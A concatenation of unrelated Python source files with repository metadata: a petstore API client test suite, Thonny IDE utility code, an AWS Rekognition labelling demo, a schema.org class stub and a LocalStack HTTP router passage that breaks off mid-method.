self.pet.status = "sold" self.pet.category = self.category self.pet.tags = [self.tag] def setUpFiles(self): self.test_file_dir = os.path.join(os.path.dirname(__file__), "..", "testfiles") self.test_file_dir = os.path.realpath(self.test_file_dir) def test_preload_content_flag(self): self.pet_api.add_pet(self.pet) resp = self.pet_api.find_pets_by_status(status=[self.pet.status], _preload_content=False) # return response should at least have read and close methods. self.assertTrue(hasattr(resp, 'read')) self.assertTrue(hasattr(resp, 'close')) # Also we need to make sure we can release the connection to a pool (if exists) when we are done with it. self.assertTrue(hasattr(resp, 'release_conn')) # Right now, the client returns urllib3.HTTPResponse. If that changed in future, it is probably a breaking # change, however supporting above methods should be enough for most usecases. Remove this test case if # we followed the breaking change procedure for python client (e.g. increasing major version). self.assertTrue(resp.__class__, 'urllib3.response.HTTPResponse') resp.close() resp.release_conn() def test_timeout(self): mock_pool = MockPoolManager(self) self.api_client.rest_client.pool_manager = mock_pool mock_pool.expect_request('POST', 'http://localhost/v2/pet', body=json.dumps(self.api_client.sanitize_for_serialization(self.pet)), headers={'Content-Type': 'application/json', 'Authorization': 'Bearer ', 'User-Agent': 'OpenAPI-Generator/1.0.0/python'}, preload_content=True, timeout=TimeoutWithEqual(total=5)) mock_pool.expect_request('POST', 'http://localhost/v2/pet', body=json.dumps(self.api_client.sanitize_for_serialization(self.pet)), headers={'Content-Type': 'application/json', 'Authorization': 'Bearer ', 'User-Agent': 'OpenAPI-Generator/1.0.0/python'}, preload_content=True, timeout=TimeoutWithEqual(connect=1, read=2)) self.pet_api.add_pet(self.pet, _request_timeout=5) self.pet_api.add_pet(self.pet, _request_timeout=(1, 2)) def test_separate_default_client_instances(self): pet_api = petstore_api.PetApi() pet_api2 = petstore_api.PetApi() self.assertNotEqual(pet_api.api_client, pet_api2.api_client) pet_api.api_client.user_agent = 'api client 3' pet_api2.api_client.user_agent = 'api client 4' self.assertNotEqual(pet_api.api_client.user_agent, pet_api2.api_client.user_agent) def test_separate_default_config_instances(self): pet_api = petstore_api.PetApi() pet_api2 = petstore_api.PetApi() self.assertNotEqual(pet_api.api_client.configuration, pet_api2.api_client.configuration) pet_api.api_client.configuration.host = 'somehost' pet_api2.api_client.configuration.host = 'someotherhost' self.assertNotEqual(pet_api.api_client.configuration.host, pet_api2.api_client.configuration.host) def test_async_request(self): thread = self.pet_api.add_pet(self.pet, async_req=True) response = thread.get() self.assertIsNone(response) thread = self.pet_api.get_pet_by_id(self.pet.id, async_req=True) result = thread.get() self.assertIsInstance(result, petstore_api.Pet) def test_async_with_result(self): self.pet_api.add_pet(self.pet, async_req=False) thread = self.pet_api.get_pet_by_id(self.pet.id, async_req=True) thread2 = self.pet_api.get_pet_by_id(self.pet.id, async_req=True) response = thread.get() response2 = thread2.get() self.assertEquals(response.id, self.pet.id) self.assertIsNotNone(response2.id, self.pet.id) def test_async_with_http_info(self): self.pet_api.add_pet(self.pet) thread = self.pet_api.get_pet_by_id(self.pet.id, async_req=True, _return_http_data_only=False) data, status, headers = thread.get() self.assertIsInstance(data, petstore_api.Pet) self.assertEquals(status, 200) def test_async_exception(self): self.pet_api.add_pet(self.pet) thread = self.pet_api.get_pet_by_id(-9999999999999, async_req=True) exception = None try: thread.get() except ApiException as e: exception = e self.assertIsInstance(exception, ApiException) self.assertEqual(exception.status, 404) def test_add_pet_and_get_pet_by_id(self): self.pet_api.add_pet(self.pet) fetched = self.pet_api.get_pet_by_id(pet_id=self.pet.id) self.assertIsNotNone(fetched) self.assertEqual(self.pet.id, fetched.id) self.assertIsNotNone(fetched.category) self.assertEqual(self.pet.category.name, fetched.category.name) def test_add_pet_and_get_pet_by_id_with_http_info(self): self.pet_api.add_pet(self.pet) fetched = self.pet_api.get_pet_by_id( pet_id=self.pet.id, _return_http_data_only=False ) self.assertIsNotNone(fetched) self.assertEqual(self.pet.id, fetched[0].id) self.assertIsNotNone(fetched[0].category) self.assertEqual(self.pet.category.name, fetched[0].category.name) def test_update_pet(self): self.pet.name = "hello kity with updated" self.pet_api.update_pet(self.pet) fetched = self.pet_api.get_pet_by_id(pet_id=self.pet.id) self.assertIsNotNone(fetched) self.assertEqual(self.pet.id, fetched.id) self.assertEqual(self.pet.name, fetched.name) self.assertIsNotNone(fetched.category) self.assertEqual(fetched.category.name, self.pet.category.name) def test_find_pets_by_status(self): self.pet_api.add_pet(self.pet) self.assertIn( self.pet.id, list(map(lambda x: getattr(x, 'id'), self.pet_api.find_pets_by_status(status=[self.pet.status]))) ) def test_find_pets_by_tags(self): self.pet_api.add_pet(self.pet) self.assertIn( self.pet.id, list(map(lambda x: getattr(x, 'id'), self.pet_api.find_pets_by_tags(tags=[self.tag.name]))) ) def test_update_pet_with_form(self): self.pet_api.add_pet(self.pet) name = "hello kity with form updated" status = "pending" self.pet_api.update_pet_with_form(pet_id=self.pet.id, name=name, status=status) fetched = self.pet_api.get_pet_by_id(pet_id=self.pet.id) self.assertEqual(self.pet.id, fetched.id) self.assertEqual(name, fetched.name) self.assertEqual(status, fetched.status) def test_upload_file(self): # upload file with form parameter file_path1 = os.path.join(self.test_file_dir, "1px_pic1.png") file_path2 = os.path.join(self.test_file_dir, "1px_pic2.png") try: file = open(file_path1, "rb") additional_metadata = "special" self.pet_api.upload_file( pet_id=self.pet.id, additional_metadata=additional_metadata, file=file ) except ApiException as e: self.fail("upload_file() raised {0} unexpectedly".format(type(e))) finally: file.close() # upload only one file try: file = open(file_path1, "rb") self.pet_api.upload_file(pet_id=self.pet.id, file=file) except ApiException as e: self.fail("upload_file() raised {0} unexpectedly".format(type(e))) finally: file.close() # upload multiple files HTTPResponse = namedtuple( 'urllib3_response_HTTPResponse', ['status', 'reason', 'data', 'getheaders', 'getheader'] ) headers = {} def get_headers(): return headers def get_header(name, default=None): return headers.get(name, default) api_respponse = { 'code': 200, 'type': 'blah', 'message': 'file upload succeeded' } http_response = HTTPResponse( status=200, reason='OK', data=json.dumps(api_respponse), getheaders=get_headers, getheader=get_header ) mock_response = RESTResponse(http_response) try: file1 = open(file_path1, "rb") file2 = open(file_path2, "rb") with patch.object(RESTClientObject, 'request') as mock_method: mock_method.return_value = mock_response res = self.pet_api.upload_file( pet_id=684696917, files=[file1, file2]) mock_method.assert_called_with( 'POST', 'http://localhost/v2/pet/684696917/uploadImage', _preload_content=True, _request_timeout=None, body=None, headers={ 'Accept': 'application/json', 'Content-Type': 'multipart/form-data', 'User-Agent': 'OpenAPI-Generator/1.0.0/python', 'Authorization': 'Bearer ' }, post_params=[ ('files', ('1px_pic1.png', b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x00\x00\x00\x00:~\x9bU\x00\x00\x00\nIDATx\x9cc\xfa\x0f\x00\x01\x05\x01\x02\xcf\xa0.\xcd\x00\x00\x00\x00IEND\xaeB`\x82', 'image/png')), ('files', ('1px_pic2.png', b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00\x01\x00\x00\x00\x01\x08\x00\x00\x00\x00:~\x9bU\x00\x00\x00\nIDATx\x9cc\xfa\x0f\x00\x01\x05\x01\x02\xcf\xa0.\xcd\x00\x00\x00\x00IEND\xaeB`\x82', 'image/png')) ], query_params=[] ) except ApiException as e: self.fail("upload_file() raised {0} unexpectedly".format(type(e))) finally: file1.close() file2.close() # passing in an array of files to when file only allows one # raises an exceptions try: file = open(file_path1, "rb") with self.assertRaises(ApiTypeError) as exc: self.pet_api.upload_file(pet_id=self.pet.id, file=[file]) finally: file.close() # passing in a single file when an array of file is required # raises an exception try: file = open(file_path1, "rb") with self.assertRaises(ApiTypeError) as exc: self.pet_api.upload_file(pet_id=self.pet.id, files=file) finally: file.close() # passing in a closed file raises an exception with self.assertRaises(ApiValueError) as exc: file = open(file_path1, "rb") file.close() self.pet_api.upload_file(pet_id=self.pet.id, file=file) def test_delete_pet(self): self.pet_api.add_pet(self.pet) self.pet_api.delete_pet(pet_id=self.pet.id, api_key="special-key") try: self.pet_api.get_pet_by_id(pet_id=self.pet.id) raise Exception("expected an error") except ApiException as e: self.assertEqual(404, e.status) if __name__ == '__main__': unittest.main()

37

259

0.616131

9628136159b638002b4272c62d6618369ccb909d

46

py

Python

scPrivacy_code/__init__.py

bm2-lab/scPrivacy

444c8f3a5e7b890c299cd823359e5414f73d6205

[ "MIT" ]

1

2022-03-10T02:58:17.000Z

scPrivacy_code/__init__.py

bm2-lab/scPrivacy

444c8f3a5e7b890c299cd823359e5414f73d6205

[ "MIT" ]

null

scPrivacy_code/__init__.py

bm2-lab/scPrivacy

444c8f3a5e7b890c299cd823359e5414f73d6205

[ "MIT" ]

null

from .scPrivacy import * __version__ = '1.0'

11.5

24

0.695652

e7c228ae4f48a2e01a6b6423b12a9c999fa73423

15,044

py

Python

thonny/common.py

aroberge/thonny

919769139c9cbfdfa2b78f6a6f0a3d9ecee56e28

[ "MIT" ]

null

thonny/common.py

aroberge/thonny

919769139c9cbfdfa2b78f6a6f0a3d9ecee56e28

[ "MIT" ]

null

thonny/common.py

aroberge/thonny

919769139c9cbfdfa2b78f6a6f0a3d9ecee56e28

[ "MIT" ]

null

# -*- coding: utf-8 -*- """ Classes used both by front-end and back-end """ import os.path import platform import site import sys import tokenize from collections import namedtuple from typing import List, Optional # @UnusedImport import subprocess import logging MESSAGE_MARKER = "\x02" ValueInfo = namedtuple("ValueInfo", ["id", "repr"]) FrameInfo = namedtuple( "FrameInfo", [ "id", "filename", "module_name", "code_name", "source", "lineno", "firstlineno", "in_library", "locals", "globals", "freevars", "event", "focus", "node_tags", "current_statement", "current_root_expression", "current_evaluations", ], ) TextRange = namedtuple( "TextRange", ["lineno", "col_offset", "end_lineno", "end_col_offset"] ) class Record: def __init__(self, **kw): self.__dict__.update(kw) def update(self, e, **kw): self.__dict__.update(e, **kw) def setdefault(self, **kw): "updates those fields that are not yet present (similar to dict.setdefault)" for key in kw: if not hasattr(self, key): setattr(self, key, kw[key]) def get(self, key, default=None): return self.__dict__.get(key, default) def __getitem__(self, key): return self.__dict__[key] def __delitem__(self, key): self.__dict__.__delitem__(key) def __setitem__(self, key, value): self.__dict__[key] = value def __contains__(self, key): return key in self.__dict__ def __repr__(self): keys = self.__dict__.keys() items = ("{}={!r}".format(k, self.__dict__[k]) for k in keys) return "{}({})".format(self.__class__.__name__, ", ".join(items)) def __str__(self): keys = sorted(self.__dict__.keys()) items = ("{}={!r}".format(k, str(self.__dict__[k])) for k in keys) return "{}({})".format(self.__class__.__name__, ", ".join(items)) def __eq__(self, other): # pylint: disable=unidiomatic-typecheck if type(self) != type(other): return False if len(self.__dict__) != len(other.__dict__): return False for key in self.__dict__: if not hasattr(other, key): return False self_value = getattr(self, key) other_value = getattr(other, key) if type(self_value) != type(other_value) or self_value != other_value: return False return True def __ne__(self, other): return not self.__eq__(other) def __hash__(self): return hash(repr(self)) def range_contains_smaller(one: TextRange, other: TextRange) -> bool: this_start = (one.lineno, one.col_offset) this_end = (one.end_lineno, one.end_col_offset) other_start = (other.lineno, other.col_offset) other_end = (other.end_lineno, other.end_col_offset) return ( this_start < other_start and this_end > other_end or this_start == other_start and this_end > other_end or this_start < other_start and this_end == other_end ) def range_contains_smaller_or_equal(one: TextRange, other: TextRange) -> bool: return range_contains_smaller(one, other) or one == other class InputSubmission(Record): """For sending data to backend's stdin""" def __init__(self, data: str, **kw) -> None: super().__init__(**kw) self.data = data class CommandToBackend(Record): """Command meant for the back-end""" def __init__(self, name: str, **kw) -> None: super().__init__(**kw) self.name = name class ToplevelCommand(CommandToBackend): def __init__(self, name: str, argv: List[str] = [], **kw) -> None: super().__init__(name, **kw) self.argv = argv class DebuggerCommand(CommandToBackend): pass class InlineCommand(CommandToBackend): """ Can be used both during debugging and in waiting_toplevel_command state (eg. for sending variable and heap info requests) """ pass class MessageFromBackend(Record): def __init__(self, **kw) -> None: self.event_type = type(self).__name__ # allow event_type to be overridden by kw super().__init__(**kw) if not hasattr(self, "sequence"): self.sequence = self.event_type class ToplevelResponse(MessageFromBackend): pass class DebuggerResponse(MessageFromBackend): pass class BackendEvent(MessageFromBackend): def __init__(self, event_type: str, **kw) -> None: super().__init__(**kw) self.event_type = event_type class InlineResponse(MessageFromBackend): def __init__(self, command_name: str, **kw) -> None: super().__init__(**kw) self.command_name = command_name self.event_type = self.command_name + "_response" def serialize_message(msg: Record) -> str: # I want to transfer only ASCII chars because encodings are not reliable # (eg. can't find a way to specify PYTHONIOENCODING for cx_freeze'd program) return MESSAGE_MARKER + repr(msg).encode("UTF-7").decode("ASCII") def parse_message(msg_string: str) -> Record: # DataFrames may have nan # pylint: disable=unused-variable nan = float("nan") # @UnusedVariable assert msg_string[0] == MESSAGE_MARKER return eval(msg_string[1:].encode("ASCII").decode("UTF-7")) def normpath_with_actual_case(name: str) -> str: """In Windows return the path with the case it is stored in the filesystem""" assert os.path.isabs(name) or os.path.ismount(name), "Not abs nor mount: " + name assert os.path.exists(name) if os.name == "nt": name = os.path.realpath(name) from ctypes import create_unicode_buffer, windll buf = create_unicode_buffer(512) windll.kernel32.GetShortPathNameW(name, buf, 512) # @UndefinedVariable windll.kernel32.GetLongPathNameW(buf.value, buf, 512) # @UndefinedVariable if len(buf.value): result = buf.value else: result = name assert isinstance(result, str) if result[1] == ":": # ensure drive letter is capital return result[0].upper() + result[1:] else: return result else: return os.path.normpath(name) def is_same_path(name1: str, name2: str) -> bool: return os.path.normpath(os.path.normcase(name1)) == os.path.normpath( os.path.normcase(name2) ) def path_startswith(child_name: str, dir_name: str) -> bool: normchild = os.path.normpath(os.path.normcase(child_name)) normdir = os.path.normpath(os.path.normcase(dir_name)) return normdir == normchild or normchild.startswith( normdir.rstrip(os.path.sep) + os.path.sep ) def read_source(filename): with tokenize.open(filename) as fp: return fp.read() def get_exe_dirs(): result = [] if site.ENABLE_USER_SITE: if platform.system() == "Windows": if site.getusersitepackages(): result.append( site.getusersitepackages().replace("site-packages", "Scripts") ) else: if site.getuserbase(): result.append(site.getuserbase() + "/bin") main_scripts = os.path.join(sys.prefix, "Scripts") if os.path.isdir(main_scripts) and main_scripts not in result: result.append(main_scripts) if os.path.dirname(sys.executable) not in result: result.append(os.path.dirname(sys.executable)) return result def get_site_dir(symbolic_name, executable=None): if not executable or executable == sys.executable: result = getattr(site, symbolic_name, "") else: result = ( subprocess.check_output( [ executable, "-m", "site", "--" + symbolic_name.lower().replace("_", "-"), ], universal_newlines=True, ) .decode() .strip() ) return result if result else None def get_base_executable(): if sys.exec_prefix == sys.base_exec_prefix: return sys.executable if platform.system() == "Windows": result = sys.base_exec_prefix + "\\" + os.path.basename(sys.executable) result = normpath_with_actual_case(result) else: result = sys.executable.replace(sys.exec_prefix, sys.base_exec_prefix) if not os.path.isfile(result): raise RuntimeError("Can't locate base executable") return result def get_augmented_system_path(extra_dirs): path_items = os.environ.get("PATH", "").split(os.pathsep) for d in reversed(extra_dirs): if d not in path_items: path_items.insert(0, d) return os.pathsep.join(path_items) def update_system_path(env, value): # in Windows, env keys are not case sensitive # this is important if env is a dict (not os.environ) if platform.system() == "Windows": found = False for key in env: if key.upper() == "PATH": found = True env[key] = value if not found: env["PATH"] = value else: env["PATH"] = value class UserError(RuntimeError): """Errors of this class are meant to be presented without stacktrace""" pass def is_hidden_or_system_file(path: str) -> bool: if os.path.basename(path).startswith("."): return True elif platform.system() == "Windows": from ctypes import windll FILE_ATTRIBUTE_HIDDEN = 0x2 FILE_ATTRIBUTE_SYSTEM = 0x4 return bool( windll.kernel32.GetFileAttributesW(path) # @UndefinedVariable & (FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM) ) else: return False def get_dirs_child_data(paths): """Used for populating local file browser's tree view. dir_paths contains full paths of the open directories. Returns information required for refreshing this view""" res = {} for path in paths: # assuming the path already has actual case res[path] = get_single_dir_child_data(path) return res def get_single_dir_child_data(path): if path == "": if platform.system() == "Windows": get_windows_network_locations() return {**get_windows_volumes_info(), **get_windows_network_locations()} else: return get_single_dir_child_data("/") elif os.path.isdir(path) or os.path.ismount(path): result = {} try: for child in os.listdir(path): full_child_path = normpath_with_actual_case(os.path.join(path, child)) if not is_hidden_or_system_file(full_child_path): st = os.stat(full_child_path, dir_fd=None, follow_symlinks=True) name = os.path.basename(full_child_path) result[name] = { "size": None if os.path.isdir(full_child_path) else st.st_size, "time": max(st.st_mtime, st.st_ctime), } except PermissionError: result["<not accessible>"] = {"kind": "error", "size": -1, "time": None} return result elif os.path.isfile(path): return "file" else: return "missing" def get_windows_volumes_info(): # http://stackoverflow.com/a/2288225/261181 # http://msdn.microsoft.com/en-us/library/windows/desktop/aa364939%28v=vs.85%29.aspx import string from ctypes import windll all_drive_types = [ "DRIVE_UNKNOWN", "DRIVE_NO_ROOT_DIR", "DRIVE_REMOVABLE", "DRIVE_FIXED", "DRIVE_REMOTE", "DRIVE_CDROM", "DRIVE_RAMDISK", ] required_drive_types = [ "DRIVE_REMOVABLE", "DRIVE_FIXED", "DRIVE_REMOTE", "DRIVE_RAMDISK", ] result = {} bitmask = windll.kernel32.GetLogicalDrives() # @UndefinedVariable for letter in string.ascii_uppercase: drive_type = all_drive_types[ windll.kernel32.GetDriveTypeW("%s:\\" % letter) ] # @UndefinedVariable if bitmask & 1 and drive_type in required_drive_types: drive = letter + ":" path = drive + "\\" volume_name = get_windows_volume_name(path) if not volume_name: volume_name = "Local Disk" label = volume_name + " (" + drive + ")" try: st = os.stat(path) result[path] = { "label": label, "size": None, "time": max(st.st_mtime, st.st_ctime), } except PermissionError: # probably an empty cardreader slot pass bitmask >>= 1 return result def get_windows_volume_name(path): # https://stackoverflow.com/a/12056414/261181 import ctypes kernel32 = ctypes.windll.kernel32 volume_name_buffer = ctypes.create_unicode_buffer(1024) file_system_name_buffer = ctypes.create_unicode_buffer(1024) serial_number = None max_component_length = None file_system_flags = None result = kernel32.GetVolumeInformationW( ctypes.c_wchar_p(path), volume_name_buffer, ctypes.sizeof(volume_name_buffer), serial_number, max_component_length, file_system_flags, file_system_name_buffer, ctypes.sizeof(file_system_name_buffer), ) if result: return volume_name_buffer.value else: return None def get_windows_network_locations(): import ctypes.wintypes CSIDL_NETHOOD = 0x13 SHGFP_TYPE_CURRENT = 0 buf = ctypes.create_unicode_buffer(ctypes.wintypes.MAX_PATH) ctypes.windll.shell32.SHGetFolderPathW(0, CSIDL_NETHOOD, 0, SHGFP_TYPE_CURRENT, buf) shortcuts_dir = buf.value result = {} for entry in os.scandir(shortcuts_dir): # full_path = normpath_with_actual_case(entry.path) lnk_path = os.path.join(entry.path, "target.lnk") if os.path.exists(lnk_path): try: target = get_windows_lnk_target(lnk_path) result[target] = { "label": entry.name + " (" + target + ")", "size": None, "time": None, } except: logging.getLogger("thonny").error( "Can't get target from %s", lnk_path, exc_info=True ) return result def get_windows_lnk_target(lnk_file_path): import thonny script_path = os.path.join( os.path.dirname(thonny.__file__), "res", "PrintLnkTarget.vbs" ) cmd = ["cscript", "/NoLogo", script_path, lnk_file_path] result = subprocess.check_output(cmd, universal_newlines=True, timeout=3) return result.strip()

28.278195

88

0.607684

f100599cd575f33e481555c826a169d0be5ca67a

3,317

py

Python

custom_humus.py

ziniman/aws-rekognition-demo

5cee9a47531e80c42525dfc134cf89bd40313cc1

[ "Apache-2.0" ]

11

2018-08-14T17:57:36.000Z

2021-03-06T14:54:28.000Z

custom_humus.py

ziniman/aws-rekognition-demo

5cee9a47531e80c42525dfc134cf89bd40313cc1

[ "Apache-2.0" ]

null

custom_humus.py

ziniman/aws-rekognition-demo

5cee9a47531e80c42525dfc134cf89bd40313cc1

[ "Apache-2.0" ]

5

2018-06-07T20:08:12.000Z

2021-02-24T09:56:50.000Z

#!/usr/bin/python #Copyright 2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. #PDX-License-Identifier: MIT-0 (For details, see https://github.com/awsdocs/amazon-rekognition-developer-guide/blob/master/LICENSE-SAMPLECODE.) import boto3 import io from PIL import Image, ImageDraw, ExifTags, ImageColor, ImageFont region = 'us-east-1' def show_custom_labels(model,bucket,photo, min_confidence): client=boto3.client('rekognition', region_name=region) # Load image from S3 bucket s3_connection = boto3.resource('s3') s3_object = s3_connection.Object(bucket,photo) s3_response = s3_object.get() stream = io.BytesIO(s3_response['Body'].read()) image=Image.open(stream) #Call DetectCustomLabels response = client.detect_custom_labels(Image={'S3Object': {'Bucket': bucket, 'Name': photo}}, MinConfidence=min_confidence, ProjectVersionArn=model) imgWidth, imgHeight = image.size draw = ImageDraw.Draw(image) # calculate and display bounding boxes for each detected custom label print('Detected custom labels for ' + photo) max_w = 0 c = 0 largest = 0 for customLabel in response['CustomLabels']: print('Label ' + str(customLabel['Name'])) print('Confidence ' + str(customLabel['Confidence'])) if customLabel['Name'] == 'Humus' and 'Geometry' in customLabel: box = customLabel['Geometry']['BoundingBox'] width = imgWidth * box['Width'] if width>max_w: largest = c max_w = width c += 1 print(largest) customLabel = response['CustomLabels'][largest] print('Label ' + str(customLabel['Name'])) print('Confidence ' + str(customLabel['Confidence'])) if customLabel['Name'] == 'Humus' and 'Geometry' in customLabel: box = customLabel['Geometry']['BoundingBox'] left = imgWidth * box['Left'] top = imgHeight * box['Top'] width = imgWidth * box['Width'] height = imgHeight * box['Height'] if width>max_w: largest = c max_w = width fnt = ImageFont.truetype('/Library/Fonts/Arial.ttf', 30) if customLabel['Name'] == 'Humus': color = '#00cc00' else: color = '#d40000' draw.text((left+10,top+10), customLabel['Name'] + ' - ' + str(customLabel['Confidence']) + '%', fill=color, font=fnt) print('Left: ' + '{0:.0f}'.format(left)) print('Top: ' + '{0:.0f}'.format(top)) print('Face Width: ' + "{0:.0f}".format(width)) print('Face Height: ' + "{0:.0f}".format(height)) points = ( (left,top), (left + width, top), (left + width, top + height), (left , top + height), (left, top)) draw.line(points, fill=color, width=3) image.show() return len(response['CustomLabels']) def main(): bucket="sagemaker-humus" photo="Humus/libat.jpg" model='arn:aws:rekognition:us-east-1:397652707012:project/Real_Humus/version/Real_Humus.2019-12-24T15.41.28/1577194888945' min_confidence=50 label_count=show_custom_labels(model,bucket,photo, min_confidence) print("Custom labels detected: " + str(label_count)) if __name__ == "__main__": main()

30.431193

143

0.617124

4076477ef9e73ca8a602e67ed2b9875d30928b6f

2,348

py

Python

PreprocessData/all_class_files/TelevisionStation.py

wkid-neu/Schema

4854720a15894dd814691a55e03329ecbbb6f558

[ "MIT" ]

3

2021-11-06T12:29:05.000Z

2022-03-22T12:48:55.000Z

PreprocessData/all_class_files/TelevisionStation.py

DylanNEU/Schema

4854720a15894dd814691a55e03329ecbbb6f558

[ "MIT" ]

null

PreprocessData/all_class_files/TelevisionStation.py

DylanNEU/Schema

4854720a15894dd814691a55e03329ecbbb6f558

[ "MIT" ]

1

2021-11-06T12:29:12.000Z

from PreprocessData.all_class_files.LocalBusiness import LocalBusiness import global_data class TelevisionStation(LocalBusiness): def __init__(self, additionalType=None, alternateName=None, description=None, disambiguatingDescription=None, identifier=None, image=None, mainEntityOfPage=None, name=None, potentialAction=None, sameAs=None, url=None, address=None, aggregateRating=None, alumni=None, areaServed=None, award=None, brand=None, contactPoint=None, department=None, dissolutionDate=None, duns=None, email=None, employee=None, event=None, faxNumber=None, founder=None, foundingDate=None, foundingLocation=None, funder=None, globalLocationNumber=None, hasOfferCatalog=None, hasPOS=None, isicV4=None, legalName=None, leiCode=None, location=None, logo=None, makesOffer=None, member=None, memberOf=None, naics=None, numberOfEmployees=None, owns=None, parentOrganization=None, publishingPrinciples=None, review=None, seeks=None, sponsor=None, subOrganization=None, taxID=None, telephone=None, vatID=None, additionalProperty=None, amenityFeature=None, branchCode=None, containedInPlace=None, containsPlace=None, geo=None, hasMap=None, isAccessibleForFree=None, maximumAttendeeCapacity=None, openingHoursSpecification=None, photo=None, publicAccess=None, smokingAllowed=None, specialOpeningHoursSpecification=None, currenciesAccepted=None, openingHours=None, paymentAccepted=None, priceRange=None): LocalBusiness.__init__(self, additionalType, alternateName, description, disambiguatingDescription, identifier, image, mainEntityOfPage, name, potentialAction, sameAs, url, address, aggregateRating, alumni, areaServed, award, brand, contactPoint, department, dissolutionDate, duns, email, employee, event, faxNumber, founder, foundingDate, foundingLocation, funder, globalLocationNumber, hasOfferCatalog, hasPOS, isicV4, legalName, leiCode, location, logo, makesOffer, member, memberOf, naics, numberOfEmployees, owns, parentOrganization, publishingPrinciples, review, seeks, sponsor, subOrganization, taxID, telephone, vatID, additionalProperty, amenityFeature, branchCode, containedInPlace, containsPlace, geo, hasMap, isAccessibleForFree, maximumAttendeeCapacity, openingHoursSpecification, photo, publicAccess, smokingAllowed, specialOpeningHoursSpecification, currenciesAccepted, openingHours, paymentAccepted, priceRange)

293.5

1,273

0.832624

428fbea6bcc5942bbf0d4bc9763ab30177e6aa37

8,997

py

Python

localstack/http/router.py

TheRakeshPurohit/localstack

063e07827934a7c7ff00e6d7cf6e243bcce0eb99

[ "Apache-2.0" ]

null

localstack/http/router.py

TheRakeshPurohit/localstack

063e07827934a7c7ff00e6d7cf6e243bcce0eb99

[ "Apache-2.0" ]

null

localstack/http/router.py

TheRakeshPurohit/localstack

063e07827934a7c7ff00e6d7cf6e243bcce0eb99

[ "Apache-2.0" ]

null

import functools import inspect import threading from typing import ( Any, Callable, Dict, Generic, Iterable, List, Mapping, NamedTuple, Optional, Protocol, Type, TypeVar, ) from werkzeug.routing import BaseConverter, Map, Rule, RuleFactory from localstack.utils.common import to_str from .request import Request from .response import Response E = TypeVar("E") RequestArguments = Mapping[str, Any] class Dispatcher(Protocol[E]): """ A Dispatcher is called when a URL route matches a request. The dispatcher is responsible for appropriately creating a Response from the incoming Request and the matching endpoint. """ def __call__(self, request: Request, endpoint: E, args: RequestArguments) -> Response: """ Dispatch the HTTP Request. :param request: the incoming HTTP request :param endpoint: the endpoint that matched the URL rule :param args: the request arguments extracted from the URL rule :return: an HTTP Response """ pass class _RuleAttributes(NamedTuple): path: str host: Optional[str] = (None,) methods: Optional[Iterable[str]] = None kwargs: Optional[Dict[str, Any]] = {} class _RouteEndpoint(Protocol): """ An endpoint that encapsulates ``_RuleAttributes`` for the creation of a ``Rule`` inside a ``Router``. """ rule_attributes: _RuleAttributes def __call__(self, *args, **kwargs): raise NotImplementedError def route( path: str, host: Optional[str] = None, methods: Optional[Iterable[str]] = None, **kwargs ) -> Callable[[E], _RouteEndpoint]: """ Decorator that indicates that the given function is a Router Rule. :param path: the path pattern to match :param host: an optional host matching pattern. if not pattern is given, the rule matches any host :param methods: the allowed HTTP verbs for this rule :param kwargs: any other argument that can be passed to ``werkzeug.routing.Rule`` :return: the function endpoint wrapped as a ``_RouteEndpoint`` """ def wrapper(fn: E): @functools.wraps(fn) def route_marker(*args, **kwargs): return fn(*args, **kwargs) route_marker.rule_attributes = _RuleAttributes(path, host, methods, kwargs) return route_marker return wrapper def call_endpoint( request: Request, endpoint: Callable[[Request, RequestArguments], Response], args: RequestArguments, ) -> Response: """ A Dispatcher that treats the matching endpoint as a callable and invokes it with the Request and request arguments. """ return endpoint(request, args) def _clone_map_without_rules(old: Map) -> Map: return Map( default_subdomain=old.default_subdomain, charset=old.charset, strict_slashes=old.strict_slashes, merge_slashes=old.merge_slashes, redirect_defaults=old.redirect_defaults, converters=old.converters, sort_parameters=old.sort_parameters, sort_key=old.sort_key, encoding_errors=old.encoding_errors, host_matching=old.host_matching, ) class Router(Generic[E]): """ A Router is a wrapper around werkzeug's routing Map, that adds convenience methods and additional dispatching logic via the ``Dispatcher`` Protocol. """ url_map: Map dispatcher: Dispatcher[E] def __init__( self, dispatcher: Dispatcher[E] = None, converters: Mapping[str, Type[BaseConverter]] = None ): self.url_map = Map( host_matching=True, strict_slashes=False, converters=converters, redirect_defaults=False ) self.dispatcher = dispatcher or call_endpoint self._mutex = threading.RLock() def add( self, path: str, endpoint: E, host: Optional[str] = None, methods: Optional[Iterable[str]] = None, **kwargs, ) -> Rule: """ Adds a new Rule to the URL Map. :param path: the path pattern to match :param endpoint: the endpoint to invoke :param host: an optional host matching pattern. if not pattern is given, the rule matches any host :param methods: the allowed HTTP verbs for this rule :param kwargs: any other argument that can be passed to ``werkzeug.routing.Rule`` :return: """ if host is None and self.url_map.host_matching: # this creates a "match any" rule, and will put the value of the host # into the variable "__host__" host = "<__host__>" # the typing for endpoint is a str, but the doc states it can be any value, # however then the redirection URL building will not work rule = Rule(path, endpoint=endpoint, methods=methods, host=host, **kwargs) self.add_rule(rule) return rule def add_route_endpoint(self, fn: _RouteEndpoint) -> Rule: """ Adds a RouteEndpoint (typically a function decorated with ``@route``) as a rule to the router. :param fn: the RouteEndpoint function :return: the rule that was added """ attr: _RuleAttributes = fn.rule_attributes return self.add(path=attr.path, endpoint=fn, host=attr.host, **attr.kwargs) def add_route_endpoints(self, obj: object) -> List[Rule]: """ Scans the given object for members that can be used as a `RouteEndpoint` and adds them to the router. :param obj: the object to scan :return: the rules that were added """ rules = [] members = inspect.getmembers(obj) for _, member in members: if hasattr(member, "rule_attributes"): rules.append(self.add_route_endpoint(member)) return rules def add_rule(self, rule: RuleFactory): with self._mutex: self.url_map.add(rule) def remove_rule(self, rule: Rule): """ Removes a Rule from the Router. **Caveat**: This is an expensive operation. Removing rules from a URL Map is intentionally not supported by werkzeug due to issues with thread safety, see https://github.com/pallets/werkzeug/issues/796, and because using a lock in ``match`` would be too expensive. However, some services that use Routers for routing internal resources need to be able to remove rules when those resources are removed. So to remove rules we create a new Map without that rule. This will not prevent the rules from dispatching until the Map has been completely constructed. :param rule: the Rule to remove that was previously returned by ``add``. """ with self._mutex: old = self.url_map if rule not in old._rules: raise KeyError("no such rule") new = _clone_map_without_rules(old) for r in old.iter_rules(): if r == rule: # this works even with copied rules because of the __eq__ implementation of Rule 